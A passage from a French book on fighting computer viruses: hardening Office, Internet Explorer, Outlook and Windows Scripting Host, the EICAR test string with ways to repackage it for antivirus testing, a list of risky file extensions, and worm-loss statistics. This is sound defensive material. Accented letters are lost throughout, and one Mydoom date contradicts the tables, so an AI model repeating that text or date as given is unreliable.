Les virus sattaquent souvent des logiciels ou leurs failles, ils sintroduisent parfois par le biais de fonctionnalits inutilises. Dune manire gnrale, les installations standards sont singulirement vulnrables. Retirer certaines fonctionnalits telles que le partage de chier ou le partage de bureau Net Meeting permet dobtenir des postes plus performants et moins sensibles aux virus. Par ailleurs, les correctifs appliquer en sont dautant moins nombreux et la gestion de son parc sen retrouve affermie. Le paramtrage des applications, en particulier la navigation Internet et la messagerie doit faire lobjet de procdures scrupuleuses. Le navigateur de Microsoft est particulirement vis par les virus, au del des correctifs appliquer rgulirement, il faut renforcer la scurit en modiant les paramtres de navigation par dfaut qui sont parfois trs permissifs (exemple : ouverture automatique de contenus actifs). Ne pas ouvrir automatiquement les pices jointes est une bonne mesure. Le principe de prudence serait de rendre passive la navigation sur Internet, et de naccepter que le contenu actif (java, scripts, active x, cookies) de sites choisis.

240

Chapitre 9. Organiser la lutte anti-virale

Ce paramtrage pouvant tre bloquant sur certains sites mal dvelopps, lutilisateur doit tre form comme cela a dj t indiqu plus haut. Le client de messagerie standard Microsoft tant bas sur le paramtrage de scurit du navigateur, on voit bien limportance de ce type daction.

9.2.1 Les anciennes mthodes


Nous ne nous attarderons pas ici les dtailler. Rappelons simplement quil est bon de : Modifier lordre de dmarrage du systme en changeant la squence du CMOS : CD-ROM, puis Disque dur, puis Disquette. Dtre capable de gnrer dans lurgence un CD-ROM de dmarrage compatible avec son systme dexploitation et contenant un anti-virus jour du type ligne de commande1. Dtre capable de restaurer depuis les CD-ROM originaux un ou plusieurs fichiers particuliers. Configurez la messagerie pour nautoriser quun nombre limit dextensions : fichiers au format TXT, RTF, CSV, ZIP et PGP. Protger son PC contre les accs non-autoriss. Un nouvel accessoire intitul Wireless PC Lock permet dviter que le premier venu naccde votre machine2. Il rend les fonctions du PC inaccessibles ds que vous vous loignez de votre PC.

9.2.2 Les suites office


Face aux macro-virus, notons simplement ici les principales recommandations : Mettre en lecture seule les fichiers normal.dot et blank presentation.pot. Vrifier le contenu et utiliser les rpertoires de dmarrage. Activer les protections internes contre les macro-virus. Pour lchange de vos documents Word, utilisez uniquement les fichiers Rich Text Format (RTF). Pour lchange des documents Excel, privilgier les fichiers au format CSV3.
1. Un outil intressant est disponible sur le site : http://severinterrier.free.fr/Boot/PE-Builder/. 2. Une description complte du produit est disponible sur le site du guide du routard : http://www.routard.com/mag_objn.asp?id_obn=254. 3. Lextension *.CSV est un format de chiers texte dont le contenu est dlimit par un lment typographique tel quune virgule, un point-virgule ou une tabulation.

9.2 Techniques de protection

241

Au sujet dOfce 2000, je recommande la lecture de ltude mene par Darren Chi & Raul Elnitiarta dans le numro doctobre 1999 du Virus Bulletin1. On notera parmi leurs recommandations, galement valables pour Ofce 2003 : Configurer chaque application avec un niveau de scurit maximal. Ne pas activer le choix Faire confiance tous les modles et complments installs (onglet Sources fiables du sous-menu Outils/Macro/Scurit. En version anglaise, ce choix est intitul Trust all installed add-ins and templates.

Figure 9.1 Rgles de scurits optimales pour la suite Office 2003

9.2.3 Internet explorer


Le niveau de scurit offert par dfaut est Moyen. Dans cette configuration, la navigation Internet se trouve fortement facilite. Si lensemble des mises jour scuritaires a t effectu et si lanti-virus est mis jour trs rgulirement, lutilisateur peut se considrer comme suffisamment protg. Les deux niveaux infrieurs sont proscrire. Si lon souhaite augmenter son niveau de scurit, il faut crer partir du niveau moyen un niveau personnalis en positionnant certaines options autorises une valeur plus scurisante. On atteint la fentre de conguration par le choix Outils/ Options Internet/Scurit puis le bouton Personnaliser le niveau. Les paramtres considrer sont : Contrles ActiveX et plug-ins : Contrles ActiveX reconnus surs pour lcriture de scripts Demander. Contrles dinitialisation et de script ActiveX non marqus Dsactiver. Excuter les contrles ActiveX et les plug-ins Demander.
1. CHI Darren & ELNITIARTA Paul (1999), Ofce 2000 and Macro Security, Virus Bulletin, octobre 1999, pp 14-16.

Dunod La photocopie non autorise est un dlit

242

Chapitre 9. Organiser la lutte anti-virale

Tlcharger les contrles ActiveX non signs Demander. Tlcharger les contrles ActiveX sign Demander. Microsoft VM : Autorisation Java Haute Scurit. Script : Permettre les oprations de collage via les scripts Demander. Script des applets Java Demander. Linconvnient de cette mthode est lapparition de nombreuses boites de dialogue au cours de la navigation. Cest la raison pour laquelle je ne peux prconiser cette conguration que dans le cas dune navigation risque. Les termes sr et sign font rfrence des certicats numriques de scurit tablis par des autorits reconnues la demande des diteurs. Ils sont censs garantir que le programme appel a bien t cr par tel diteur de conance.

9.2.4 Outlook et Outlook Express


Lautorisation de lenvoi et de la rception de mails au format HTML est un rel danger. Ni Outlook, ni Outlook Express ne peuvent tre configurs en entre pour une conversion automatique vers le format texte. Vous pouvez par contre imposer un envoi de mail dans un format souhait. Avec la version franaise dOutlook, le sous-menu Outils/Options vous propose un onglet Format du courrier. Vous pouvez alors liminer le choix HTML en choisissant votre convenance Format RTF ou Texte brut.

Figure 9.2 Paramtrage de longlet Format du courrier dOutlook

9.2 Techniques de protection

243

Attention, cette conguration ninue pas sur le type de format en rponse un mail. Celui-ci reste par dfaut identique celui du mail reu. Sous Outlook Express, vous choisirez longlet Envoyer (le sous-menu Outils/ Options). Vous pourrez alors choisir entre HTML et Texte brut.

Figure 9.3 Paramtrage des Envois sous Outlook Express

Sous Outlook, les options de prvisualisation sont paramtrables via le menu Afchage et les choix Volet de lecture et Aperu partiel. Avec Outlook Express, le choix Afchage/Disposition vous permet dactiver ou non la prvisualisation (choix Afcher le volet de visualisation).

Dunod La photocopie non autorise est un dlit

Figure 9.4 Paramtrage du volet de prvisualisation sous Outlook Express

244

Chapitre 9. Organiser la lutte anti-virale

9.2.5 Windows Scripting Host


Ce logiciel est aujourdhui indispensable pour une navigation correcte sur Internet et il nest plus envisageable den proposer la suppression. Sur une machine sensible, il est cependant possible de modier les liens dauto chargement dans la base de registres. On remplacera :
Hkey_Classes_Root\VBSFile\Shell\Open\Command: c:\win98\wscript.exe %1 % Hkey_Classes_Root\VBSFile\Shell\Open2\Command: c:\win98\command\cscript.exe %1 % par: Hkey_Classes_Root\VBSFile\Shell\Open\Command: c:\win98\notepad.exe %1 % Hkey_Classes_Root\VBSFile\Shell\Open2\Command: c:\win98\command\notepad.exe %1 %

Suite cette manipulation, lexcution dun chier de script ne se fera plus ni via un double-clic, ni via le bouton droit de la souris (choix Ouvrir). Au lieu dune excution, ces commandes ouvriront lditeur de texte notepad et vous permettront de visualiser le contenu du chier de script. Pour permettre une excution rapide des chiers, vous crerez une nouvelle cl de type Execute :
Hkey_Classes_Root\VBSFile\Shell\Open\Execute: c:\win98\wscript.exe %1 % Hkey_Classes_Root\VBSFile\Shell\Open2\Execute: c:\win98\command\cscript.exe %1 %

Un click droit de la souris vous offrira alors un choix Excuter qui vous permettra de raliser cette fonction. Si vous devez conserver en ltat WSH, ne rpondez jamais immdiatement Oui en prsence de la boite de dialogue Alerte de Scurit. Vriez avec votre diteur de texte le contenu de la page suspecte.

9.2.6 Simples et doubles extensions


De nombreux virus utilisent la technique de la double extension. Dans sa conguration standard, lExplorateur Windows est gnralement incapable de vous alerter du phnomne : il ne les visualise pas. Il faut donc veiller modier la conguration de lafchage en suivant le cheminement : Poste de travail. Outils. Option des dossiers Dans longlet Afchage, on dcochera loption Cacher les extensions des fichiers dont le type est connu. De mme de nombreux virus utilisent des extensions peu connues du type excutables. Pour toutes celles ci, il est intressant de modier les associations entre ces extensions et laction entreprise par le systme dexploitation en cas de double-clic. On procde pour cela de la manire suivante : Poste de travail.

9.2 Techniques de protection

245

Outils. Option des dossiers

Figure 9.5 Paramtrage de longlet Affichage de lExplorateur Windows

Dans longlet Types de fichiers, il faut maintenant rechercher les extensions risque. Citons parmi elles : JS, JSE, OTF, REG, SCT, SHB, SHS, VBE, VBS, WSC, WSF, et WSH. Pour chacune dentre elle, il faudra modier le programme que lon souhaite utiliser pour son ouverture. Ce rglage se fait via le bouton Modier puis le choix du Bloc-notes.

Dunod La photocopie non autorise est un dlit

Figure 9.6 Paramtrage de longlet Types de fichiers de lExplorateur Windows

Modification dextension

246

Chapitre 9. Organiser la lutte anti-virale

Il faudra ensuite vrier la prsence de lextension PIF. Si celle-ci est absente, on lajoutera en lui associant ensuite le Bloc-notes selon la technique prcdente.

Figure 9.7 Paramtrage de longlet Types de fichiers

de lExplorateur Windows Ajout dextension

9.2.7 Lextension SHS


De nombreux virus utilisent la technique de la double extension pour tenter de tromper la vigilance de lutilisateur qui, sil ny prend garde, croit recevoir un fichier texte inoffensif. titre dexemple, VBS/LoveLetter.A@MM diffuse un chier LOVE-LETTERFOR-YOU.TXT.vbs. Le virus VBS/LifeStages.A@MM est plus subtil, il diffuse un chier intitul LIFE_STAGES.TXT.SHS. Lextension en question est ddie aux chiers du type ShellScrap. Elle reste invisible lutilisateur mme sil a congur lExplorateur Windows pour une visualisation complte des extensions de chier telle que nous lavons indiqu plus haut. Lautorisation de la visualisation de lextension SHS doit se faire via lditeur de la base de registres : Lancez Regedit. Edition/Rechercher Indiquez comme chane de caractre rechercher ShellScrap et cliquez sur Suivant. La premire occurrence trouve correspond gnralement la cl HKEY_CLASSES-ROOT\.shs.

9.2 Techniques de protection

247

Continuez la recherche en choisissant Edition/Suivant. La cl suivante est normalement HKEY_CLASSES-ROOT\ShellScrap. Cest elle qui doit tre modifie. Dans la fentre de droite, choisissez la ligne NeverShowExt, et faites apparatre le menu conceptuel via le bouton droit de la souris. Excutez le choix Supprimer. Quittez Regedit.

Figure 9.8 diteur du registre regedit

Paramtrage de lextension ShellScrap

9.2.8 Paramtres rseau


Dunod La photocopie non autorise est un dlit

Parmi toutes les adresses IP disponibles, il existe trois classes IP prives. Elles peuvent tre utilises en toute libert au sein dune entreprise ou chez un particulier. Ne pouvant se connecter directement Internet, elles sont plus rsistantes aux attaques. Il est donc conseill de les employer comme valeurs par dfaut pour le protocole Internet TCP/IP. Il sagit ici de ladresse physique lie votre carte rseau. Lors de linstallation de votre passerelle Internet, une adresse IP virtuelle, xe ou variable, vous sera attribue, cest au travers de celle ci que seffectuera votre accs distant. Toujours en lien avec les proprits de connexion au rseau Internet, deux composants installs par dfaut peuvent tre gnralement dsactivs ; il sagit du : Client pour le rseau Microsoft. Partage de fichiers et dimprimantes pour les rseaux Microsoft.

248

Chapitre 9. Organiser la lutte anti-virale

Tableau 9.1 Classes prives dadresses IP Nom de classe prive A Adresse IP 10.x.y.z, o : 0 <= x <= 255 0 <= y <= 255 0 <= z <= 255 172.x.y.z, o : 16 <= x <= 31 0 <= y <= 255 0 <= z <= 255 192.168.x.y, o : 0 <= x <= 255 0 <= y <= 255 Nombre maximum de machines connectables (256*256*256) 2 = 16 777 214

(15*256*256) 2 = 1 048 574

(256*256) 2 = 65 534

Sils restent slectionns, alors que vos adresses IP sont diffrentes de celles proposes ci-dessus, votre station ou votre rseau reste gnralement vulnrable malgr linstallation dun pare-feu congur avec ses options par dfaut.

Figure 9.9 Paramtrage rseau Protocole TCP-IP

Si vous utilisez une carte WiFi, cette recommandation reste bien sur valable.

Sources alternatives Afin dtre moins vulnrables, il vous est aussi possible de choisir des logiciels alternatifs loffre de Microsoft. Deux logiciels en version franaise doivent retenir votre attention :
Navigateur Internet : Mozilla FireFox. Outil de messagerie : Mozilla Thunderbird.

9.3 Choisir son anti-virus

249

Ces logiciels sont trs conviviaux. Sachez cependant que votre accs sur le site Windows Update nest pas gr par FireFox ; le conseil qui vous est parfois donner de supprimer lintgralit de Windows Explorer doit donc tre suivi en toute connaissance de cause.

Figure 9.10 FireFox ne permet pas lactivation automatique de Windows Update

9.3 CHOISIR SON ANTI-VIRUS


9.3.1 Les benchmarks
ct de la presse informatique nationale et internationale, quelques organismes indpendants ditent rgulirement des comparatifs produits. Seuls ces derniers sappuient sur une bonne comptence technique en vitant : le comportement irrflchi qui consiste crire son propre virus de laboratoire, les erreurs de configuration lies la mconnaissance de certains produits, lutilisation dune collection dun des concurrents en liste, lutilisation dune collection douteuse ou la capacit de propagation de chaque virus na pas t vrifie. Le minimum que lon doit demander un anti-virus est quil dtecte lensemble des 1500 virus que liste la WildList depuis son origine. Ceci parat tre une vidence quil est pourtant parfois bon de vrier si lon est tent de sloigner de la liste des tnors du march. Cette liste, mise jour mensuellement est disponible sur http://www.wildlist.org/. Des tests srieux sont disponibles sur les sites suivants : AV Comparatives : http://www.av-comparatives.org/

Dunod La photocopie non autorise est un dlit

250

Chapitre 9. Organiser la lutte anti-virale

TruSecure ICSA Labs : http://www.icsalabs.com/index.shtml Virus Test Center University of Hamburg Computer Science Department : http://agn-www.informatik.uni-hamburg.de/vtc/naveng.htm Virus Research Unit University of Tampere, Finland : http://www.uta.fi/ laitokset/virus/ (aujourdhui en sommeil) Virus Bulletin : http://www.virusbtn.com/ Dans un ordre souvent diffrent, on retrouve dans tous ces tests le mme peloton de tte constitu dune douzaine de produits alphabtiquement cits ci-dessous1 : Avast! Professional Edition 4.1 BitDefender Professional Edition 7.2 Dr.Web for Windows 95-XP 4.31b NOD32 2.0 F-Prot for Windows 3.15 RAV Reliable Anti-Virus 8.6 H+B EDV AntiVir Professional 6.26 Kaspersky Anti-Virus Personal 5.0 McAfee VirusScan 8.0 Panda Platinum Internet Security 8.0 Sophos Anti-Virus 3.84 Symantec Norton Anti-Virus 2004 Trend Micro Internet Security 2004

9.3.2 Se faire sa propre opinion


Les rsultats tant souvent honorables pour nombre des nomins ; dautres critres doivent tre mis en avant pour dpartager les ex quo. Nous ne nous attarderons nullement ici sur le prix qui est souvent ngociable pour les grands comptes. Nous citerons plutt comme points complmentaires de recherche : le large ventail des plates-formes supportes, la facilit dinstallation et de dsinstallation, les tests de non contamination avant installation, son autocontrle dintgrit, les outils de dploiement offerts linstallation, lexhaustivit de lidentification des virus (garant dune bonne radication), lanalyse de la mmoire, la capacit stopper un processus rsident,

1. liste AV Comparatives aot 2004.

9.3 Choisir son anti-virus

251

les modes de recherche offerts. Il est important dviter les produits travaillant uniquement par base de signature. Il faut aussi viter le tout heuristique. Le panachage est gage de russite. la facult de nettoyer en profondeur la base de registres, la possibilit de verrouiller la configuration, la convivialit de linterface, la transparence pour lutilisateur, la rgularit des mises jour, la taille de chaque mise jour (processus incrmental ou non), la rapidit de raction face un virus inconnu, la prennit de la marque et son implantation en France, limportance des quipes techniques et leurs localisations, loffre de produits complmentaires lanti-virus, et, sil ny a pas de mise jour, la qualit des modules dinterception et dlimination en environnement sain et contamin. Le nombre de souches reconnues nest pas retenir. Derrire une seule signature un produit peut dtecter une centaine de variantes au dsavantage dun autre produit qui prfrera les diffrencier La vitesse dexamen dun support sain est intressante prendre en compte. Ce paramtre est sans intrt sur un support infect. Dans ce cas, cest la rigueur, lefcacit dans la dtection et lradication qui prime. Ceux qui voudront se livrer leurs propres analyses risquent de se lancer dans des tests en utilisant leur propre collection de virus. Ceci est trs dangereux et ne donnera aucun rsultat satisfaisant : pour les anti-virus du peloton de tte, les rsultats seront du 100 % (virus communs). La seule consquence risque dtre une activation malencontreuse dun de ces virus et une propagation vers le monde extrieur.
Dunod La photocopie non autorise est un dlit

Il est cependant possible de mener des tests. Le chier eicar.com est ddi cet exercice. Le mode de fabrication de ce leurre est largement diffus. Vous le trouverez entre autre sur le site de lassociation qui porte son nom1.

9.3.3 Testez votre anti-virus


Pour crer le leurre, il suffit de recopier la ligne ci-dessous dans un fichier texte que lon renommera ensuite avec une extension .com. La chane comporte 68 caractres :
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

1. EICAR : http://www.eicar.com/anti_virus_test_le.htm.

252

Chapitre 9. Organiser la lutte anti-virale

On obtient ainsi un chier sans danger dont la signature normalise a t introduite dans toutes les bases de signatures des diteurs dantivirus srieux. Il est ensuite possible de triturer ce faux virus en : lui masquant son extension, lui donnant toutes sortes dextensions possibles, lui donnant une double extension, le compressant dans toutes ses formes, faisant des compressions rcursives, utilisant de multiples compresseurs DOS ou Windows (ASPack, NeoLite, PEPack, Petite, PkLite32, Shrinker, UPX, WWPack32, WinZip, Diet, Ice, LzExe, PkLite, WWPack etc.). Bien entendu en utilisant plusieurs versions de chacun de ces compresseurs. Le comprimant en mode auto-extractible Une fois ces manipulations faite, il est possible dobtenir une centaine de chiers que lon pourra ensuite prsenter son anti-virus. Ne croyez pas alors obtenir un taux de russite 100 % ; ces tests sont beaucoup plus malaiss quils ny paraissent : Scan la demande : si un fichier nest pas dtect cest que votre antivirus ne gre pas, par exemple, tel type de compression/dcompression, ou dcompresse mal le fichier. Scan sur accs : copiez, dplacez les fichiers sur un disque ou sur des disques rseaux. Lorsquils ont une extension adquate, tentez un double-clic. Sur dautres extensions, essayez une ouverture au travers de notepad ou dun outil bureautique quelconque. Sils sont compresss, tentez une dcompression au travers de lutilitaire qui permet de les restaurer. Observer le temps de rponse de votre antivirus et sa capacit effacer ou mettre en quarantaine les souches. Test POP/SMTP : Sous Outlook ou Outlook Express, envoyez ces fichiers en pice jointe, seuls ou en lot. Renouvelez le test avec dautres messageries : Netscape, Eudora, Lotus Notes, Pegasus, The Bat, etc. Si votre antivirus travaille au niveau du protocole POP3, tous les clients de messagerie devraient tre protgs. Envoyez ces fichiers en utilisant tous les protocoles et clients de communications instantanes votre disposition : P2P (Poste Poste), ICQ, Yahoo! Messenger, NetMeeting, MSN Messenger, etc. Une fois ces textes effectus, il ne vous reste plus qu vous forger une opinion.

9.4 Le poids dune infection virale pour lentreprise

253

9.4 LE POIDS DUNE INFECTION VIRALE POUR LENTREPRISE


Aprs chaque grosse infection virale, des experts de tout bord nous annoncent leurs chiffres. Les uns sexpriment en milliards de dollars et leurs valuations saffichent frquemment la une des mdias. Les deux tableaux suivants synthtisent quelques tudes du Computer Economics telles que jai pu les retrouver au sein de certaines coupures de presse.
Tableau 9.2 Pertes estimes par virus (source Computer Economics) Date de lalerte Mars 1999 Mai 2000 16 Juillet 2001 17 Juillet 2001 Septembre 2001 Avril 2002 Janvier 2003 Mai 2003 Aot 2003 Janvier 2004 Avril 2004 Melissa Loveletter Code Red(s) Sircam Nimda Klez Slammer Bugbear Sobig.F Mydoom Sasser Virus Worldwide Economics Impact (billions US) $ 1,5 $ 8,75 $ 2,75 $ 1,15 $ 0,635 $ 0,750 $1 $ 0,950 $ 2,5 $4 $ 0,400 - 0,500 (estimation)

Les chiffres annoncs sur une anne sont aussi loquents mais tout aussi difcilement vriables.
Dunod La photocopie non autorise est un dlit

Tableau 9.3 Pertes estimes par anne (source Computer Economics) Anne 1995 1996 1997 1998 1999 2000 2001 $ 0,5 $ 1,8 $ 3,3 $ 6,1 $ 12,1 $ 17,1 $ 13,2 Worldwide Economic Impact (billions US)

254

Chapitre 9. Organiser la lutte anti-virale

Les rsultats des enqutes de lICSA Labs (International Computer Security Association) semblent plus raisonnables. Elles tentent de cerner le phnomne en le ramenant lchelle dun sinistre et dune entreprise. Il semble possible de rsumer ces tudes en estimant quune attaque virale cote en moyenne entre 5000 et 10000 Euros pour lentreprise qui la subit.
Tableau 9.4 Pertes estimes par entreprise (source ICSA) ICSA Labs 1996 1997 1998 1999 Indisponibilit dun serveur 348 minutes (environ 6 heures) 40 minutes 43 minutes Moins dune heure dans 91 % des cas. Moins dune heure dans 36 % des cas. Entre 1 et 20 heures dans 33 % des cas. De 0 1 heure dans 12 % des cas. Entre 1 heure et 10 heures dans 72 % des cas. De 0 1 heure dans 51 % des cas. Entre 1 heure et 10 heures dans 22 % des cas. Pertes en homme/jour 44 heures (moins de 2 H/J) 44 heures (moins de 2 H/J) 45,6 heures (moins de 2 H/J) Moins de 20 H/J dans 80 % des cas. 5 H/J comme valeur mdiane Moins de 10 H/J dans 75 % des cas. 7 H/J comme valeur mdiane Pertes financires $ 8.100 $ 8.360 $ 2.454 Moins de $ 5000 dans 74 % des cas. Valeur moyenne : 8,4 K$ Valeur mdiane : 1,7 K$ Moins de $ 1000 dans 33 % des cas. Entre $ 1000 et $ 10000 pour 29 % des cas. Valeur moyenne : 8,4 K$ Valeur mdiane : 1,7 K$ Moins de $ 1 000 dans 43 % des cas. Entre $ 1 000 et $ 30 000 pour 34 % des cas. Valeur moyenne : 69 K$ Valeur mdiane : 5,5 K$ Moins de $ 10 000 dans 54 % des cas. Entre $ 10 000 et $ 50 000 pour 35 % des cas. Valeur moyenne : 81 K$ Valeur mdiane : 9,5 K$

2000

2001

Moins de 10 H/J dans 68 % des cas. 4 H/J comme valeur mdiane

2202

Moins de 10 H/J dans 62 % des cas. 4 H/J comme valeur mdiane

Le premier chiffre franais quil ma t possible de retrouver provient du CLUSIF. Selon lassociation, lvaluation de limpact conomique des infections virales pour les entreprises franaises en 2000 fut de 129 millions de francs. Plus prs de nous, aprs lattaque Mydoom, le CLUSIF a lanc le 9 fvrier 2004 auprs de ses membres son second Observatoire dImpact. Tout comme lanne prcdente (janvier 2003) avec W32/Lirva@MM lassociation esprait ainsi mieux appr-

9.4 Le poids dune infection virale pour lentreprise

255

hender les consquences dune attaque virale en France et en faire bncier lensemble des acteurs de la profession. Environ 300 entreprises, membres du CLUSIF, reurent le questionnaire. 35 y rpondirent. La suite de ce paragraphe est une reprise du texte que jai crit la demande du CLUSIF et qui est visible sur son site1. Mydoom avait t rencontr dans 97 % des cas (34 cas contre 1). Circulant principalement au travers de la messagerie lectronique, il avait gnralement t bloqu. Le nombre de courriels intercepts tait frquemment connu. Il montrait limportance du phnomne et se dclinait selon le tableau suivant.
Tableau 9.5 W32/Mydoom@MM courriels bloqus par entreprise (source CLUSIF) Nombre de courriels bloqus par entreprise Plus de 100 000 Entre 10 000 et 100 000 Entre 1000 et 10 000 Moins de 1 000 Chiffre non communiqu 2 13 10 4 6 Nombre de rponses

Le virus sest propag au sein de lentreprise dans 6 cas seulement. Il a alors impact entre 2 et 300 machines. Nayant pas de module destructeur linfection a t matrise sans effet secondaire notable. 9 entreprises ont, malgr tout, signal des dommages. Il sagissait gnralement dun ralentissement des changes de mail allant parfois jusquau blocage (plusieurs heures) ou lisolement de la messagerie (2 heures). Une entreprise nous a signal un problme datteinte son image de marque.
Dunod La photocopie non autorise est un dlit

Beaucoup entreprises se sont plaintes du nombre important de messages dalerte errons en provenance des anti-virus de socits extrieures. Ce phnomne li la technique dusurpation dadresse nest pas nouveau. Il a t cependant particulirement visible cette occasion et ne cesse encore de crotre aujourdhui. Rappelons quayant collect des adresses lectroniques sur le poste infect, le virus utilisait celles-ci comme metteurs apparents. Congur pour alerter lexpditeur, lanti-virus interceptant le message redirigeait alors lalarme vers cette fausse adresse.

1. CLUSIF, observatoire infovir0911.asp.

dimpact :

https://www.clusif.asso.fr/fr/production/infovir/

256

Chapitre 9. Organiser la lutte anti-virale

Tableau 9.6 Mydoom alertes errones (source CLUSIF) Nombre de messages dalertes errons reus par entreprise Plus de 100 000 Entre 10 000 et 100 000 Entre 1000 et 10 000 Moins de 1000 Chiffre non communiqu 1 1 1 7 25 Nombre de rponses

14 entreprises ont estim leurs pertes nancires. Dans la majorit des cas, ces entreprises estimaient limpact nancier comme nul (dans 7 cas) ou faible (dans 5 cas). Lune dentre elles expliqua ce fait en indiquant que le cot interne fait partie intgrante de nos politiques de scurit . Dautres comparrent ce type de dpense une campagne de traitement de messages non sollicits. Seules deux entreprises nous ont indiqu un chiffre relativement important ; pour lune, 20 jours/homme, pour lautre 20.000 Euros. Sur les 34 entreprises qui ont vu le virus, 16 sont mme de prciser le jour et lheure de la premire alerte. Pour 15 dentre elles, celle ci eut lieu avant le 27 janvier 16 heures (soit moins de 24 heures aprs le dbut de lalerte). Rappelons que selon les experts, le virus a t repr pour la premire fois le 26 janvier 2003 vers 19h (c..d 18h GMT).
Tableau 9.7 Mydoom chelonnement des premires alertes (source CLUSIF) Premire alerte signale par lentreprise au regard de la premire alerte mondiale. T0 T0 + 5 heures T0 +18 heures T0 +21 heures 26 janvier 2004 26 janvier 2004 27 janvier 2004 27 janvier 2004 19h. 23h59 13h 16h Nombre de rponses cumules 1 4=1+3 13 = 9 + 3 + 1 15 = 2 + 9 + 3 + 1 20

Au del de T0 + 21 ou avec heure non communique

Si lon ajoute ces prcdentes donnes les entreprises nayant communiqu que le jour de la premire alerte, on obtient le tableau suivant :

9.4 Le poids dune infection virale pour lentreprise

257

Tableau 9.8 Mydoom chelonnement total des alertes (source CLUSIF) Premire alerte signale par lentreprise au regard de la premire alerte mondiale. Jour J J +1 J +2 J+4 J +6 J+7 26 janvier 2004 27 janvier 2004 28 janvier 2004 30 janvier 2004 1er fvrier 2004 2 fvrier 2004 4 19 = 4 + 15 20 = 4 + 15 + 1 21 = 1 + 4 + 15 + 1 22 = 1 + 1 + 4 + 15 + 1 23 = 1 + 1 + 1 + 4 + 15 + 1 Nombre de rponses cumules

Date non communique : 12

31 entreprises sur 35 on su indiquer le degr de mise jour de leur anti-virus. Dans 77 % des cas lanti-virus dtectait et radiquait le virus. Dans certains cas seul lanti-virus de la passerelle de messagerie tait jour ; celui du poste de travail d tre remis niveau. Cest ainsi que 48 % des entreprises indiqurent avoir cependant d effectuer une mise jour. la lecture des remarques que quelques responsables dentreprises transmirent au CLUSIF, il apparu que Mydoom.A tait considr comme la plus forte infection que ces entreprises avaient du subir jusqualors. Limpact nancier en terme de cot direct semblait malgr tout proche de zro. Alors que lanti-virus du poste de travail d parfois subir une mise jour durgence, les anti-virus situs sur les passerelles de messagerie semblaient avoir convenablement jou leur rle. Les processus de mise jour automatique et de ltrage des extensions suspectes avaient, dans lensemble, correctement fonctionn.
Dunod La photocopie non autorise est un dlit

Le virus a certainement t la cause majeure de lengorgement des messageries et de la perte de disponibilit par surcharge du trac rseau. Il ne faut cependant pas sous-estimer le surcrot de trac engendr par les anti-virus eux mme qui, mal congurs, retournaient vers de nombreux correspondants des messages dalerte par ailleurs errons.

10
Dernires volutions et perspectives

Dans le chapitre 2 nous avons abord lhistorique du phnomne virus. Aprs en avoir dtaill leur fonctionnement dans les chapitres suivant, nous nous sommes attachs comprendre comment lutter armes gales avec eux. Jespre vous avoir fait comprendre quil tait ais dobtenir un niveau de scurit raisonnable avec les produits du commerce, une bonne configuration de son systme et un peu de bon sens. Tentons maintenant un regard vers le futur. Les vers sont sur le devant de la scne ; leur nombre ne cesse de crotre et leurs auteurs sont toujours intresss en crer de nouveaux. Ils utilisent pleinement Internet et les diverses autres infrastructures rseau ; ils optimisent leur vitesse de propagation et distribuent des outils de piratage. Lenvoi massif et rpt de courriers non sollicits devient la principale plaie du net. Nous verrons que certains virus prennent part cette distribution. Ce chapitre dmontrera galement que les auteurs actuels ne cherchent ni dtruire, ni dtriorer des informations ; plus discret, leur but est cependant souvent plus prjudiciable. Dans les annes 1992 / 1995 quelques tudes cherchaient mesurer la vitesse de propagation des virus dans un pays donn. cette poque, leur origine locale ou non tait un facteur dterminant. Ce temps est maintenant rvolu. La mondialisation et linstantanit sapplique aussi au phnomne virus. Pour esprer atteindre son but, le virus doit avoir recours une propagation aussi rapide que massive, parfois explosive. La discrtion peut aider, mais elle devient secondaire. Certains virus semblent capables de perdurer alors mme que dautres disparaissent spontanment ou volontairement. Leur caractre explosif ne garantie

260

Chapitre 10. Dernires volutions et perspectives

pas leur persistance. Celle ci ne semble dailleurs pas forcment souhaite. Les objectifs sont autres. Ce dernier chapitre va tenter de les dvoiler et den montrer toutes leurs perversits.

10.1 LES BUTS RECHERCHS


Depuis le 1er janvier 2004, plus de 40 000 nouveaux programmes malveillants ont t recenss. Il sagit donc de plus de 4 000 nouveaux malwares chaque mois. la fin 2004, les compteurs de certains anti-virus dpasseront la barre des 130 000 virus, chevaux de Troie, espiogiciels et variantes.

Figure 10.1 volution de la menace

La plupart de ces malveillances restent cantonnes dans nos collections. Leur dure de vie peut-tre considre comme nulle. Quelques-unes alimentent nos TOP-10 et sont ainsi sur le devant de scne pour une priode plus ou moins longue. Pour mieux envahir nos machines, les objectifs semblent technologiques, pragmatiques, cibls et fonctionnels.

Technologique
savoir se mettre jour, saffranchir de lutilisateur, gagner en vitesse, diminuer en taille, intgrer de multiples techniques de propagation, cibler le particulier comme lentreprise, tre anonyme, sduire lutilisateur ou sen affranchir, tirer avantage des nombreuses vulnrabilits dcouvertes,

10.2 Envahir nos machines

261

Pragmatique, cibl et fonctionnel


ouvrir la voie dautres formes dattaques, distribuer une porte drobe, porter atteinte la confidentialit, collecter des informations diverses et des mots de passe, distribuer des minis serveurs relais afin de faciliter lenvoi de courriers non sollicits.

10.2 ENVAHIR NOS MACHINES


Nous aurions pu croire un moment quaprs un certain engouement la cration, et peut tre un secret espoir de se voir cit dans les mdias, la passion des auteurs de virus pour les mass-mailers allait retomber. Leur nombre en fait ne cesse daugmenter. Tout comme il devint difcile en 1998 de comptabiliser les macro-virus et leurs variantes, il en est aujourdhui de mme pour ces envahisseurs de boites aux lettres lectroniques. La grande majorit des virus mis en exergue depuis lan 2000 fait partie de cette catgorie. Ils sont alors frquemment annoncs avec un risque lev comme le montre le tableau ci-dessous qui dcline, par catgorie, le nombre approximatif de virus ayant, un moment, entrans une alerte de niveau Moyen leve chez McAfee.
Tableau 10.1 Typologie des virus ayant entrans une alerte chez McAfee VIRUS AYANT ENTRANS UNE ALERTE NOTABLE MASS-MAILERS
Dunod La photocopie non autorise est un dlit

ANNE MACRO-VIRUS VIRUS DE SCRIPT VIRUS PRG (W95/W32)

1999 4 1 3 1 12

2000 1 5 3 2 1

2001

2002

2003

2004

3 8 2 4 1 10 19 3 45 3

.WORM AUTRES

Linexion de tendance des vritables vers (.worm) au dtriment des massmailers nest pas franchement dcelable dans ce tableau. Elle me semble pourtant sannoncer. Aprs Codered en 2001, dautres exemples peuvent tre cits : Slammer, Lovsan et Nachi en 2003. Sasser en 2004.

262

Chapitre 10. Dernires volutions et perspectives

